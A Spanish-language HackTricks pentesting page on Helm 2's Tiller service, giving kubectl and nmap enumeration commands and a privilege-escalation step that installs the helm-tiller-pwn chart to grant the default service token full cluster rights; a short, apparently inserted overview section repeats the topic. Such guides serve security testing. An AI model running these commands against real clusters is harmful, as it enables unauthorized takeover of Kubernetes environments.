6.4 KiB
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver a tu empresa anunciada en HackTricks o descargar HackTricks en PDF, consulta los PLANES DE SUSCRIPCIÓN!
- Consigue el merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Únete al 💬 grupo de Discord o al grupo de telegram o sigueme en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de github de HackTricks y HackTricks Cloud.
Información Básica
Helm es el gestor de paquetes para Kubernetes. Permite empaquetar archivos YAML y distribuirlos en repositorios públicos y privados. Estos paquetes se llaman Helm Charts. Tiller es el servicio que se ejecuta por defecto en el puerto 44134 ofreciendo el servicio.
Puerto predeterminado: 44134
PORT STATE SERVICE VERSION
44134/tcp open unknown
Enumeración
Si puedes enumerar pods y/o servicios de diferentes espacios de nombres, enuméralos y busca aquellos con "tiller" en su nombre:
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"
# Pentesting Tiller (Helm)
## Resumen
Tiller es el componente del servidor de Helm, el gestor de paquetes de Kubernetes. Hasta la versión 2, Tiller se ejecutaba con altos privilegios dentro de un clúster de Kubernetes y podía ser una superficie de ataque si no se configuraba correctamente.
## Descubrimiento
Para descubrir si un clúster de Kubernetes está ejecutando Tiller, se puede buscar el servicio en el puerto 44134 utilizando herramientas como `nmap`.
## Explotación
Un atacante puede explotar Tiller mal configurado para instalar, actualizar o eliminar charts de Helm, lo que podría resultar en la ejecución de código arbitrario o la filtración de información sensible.
## Mitigación
Para mitigar este riesgo, se recomienda actualizar a Helm 3, que no utiliza Tiller, o asegurarse de que Tiller esté configurado con políticas de acceso adecuadas y se ejecute en un namespace aislado.
## Herramientas de Pentesting
- `nmap`
- `helm`
kubectl get pods -n kube-system
NAME READY STATUS RESTARTS AGE
kube-scheduler-controlplane 1/1 Running 0 35m
tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m
kubectl get services -n kube-system
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
También podrías intentar encontrar este servicio en ejecución comprobando el puerto 44134:
sudo nmap -sS -p 44134 <IP>
Una vez que lo hayas descubierto, puedes comunicarte con él descargando la aplicación cliente de helm. Puedes usar herramientas como homebrew
, o consultar la página oficial de lanzamientos. Para más detalles, o para otras opciones, consulta la guía de instalación.
Luego, puedes enumerar el servicio:
helm --host tiller-deploy.kube-system:44134 version
Escalación de Privilegios
Por defecto, Helm2 se instalaba en el namespace kube-system con privilegios elevados, así que si encuentras el servicio y tienes acceso a él, esto podría permitirte escalar privilegios.
Todo lo que necesitas hacer es instalar un paquete como este: https://github.com/Ruil1n/helm-tiller-pwn que dará al token de servicio predeterminado acceso a todo en el cluster completo.
git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart
En http://rui0.cn/archives/1573 tienes la explicación del ataque, pero básicamente, si lees los archivos clusterrole.yaml y clusterrolebinding.yaml dentro de helm-tiller-pwn/pwnchart/templates/ puedes ver cómo se están otorgando todos los privilegios al token predeterminado.
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF consulta los PLANES DE SUSCRIPCIÓN!
- Consigue el merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Únete al 💬 grupo de Discord o al grupo de telegram o sigue a Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub HackTricks y HackTricks Cloud.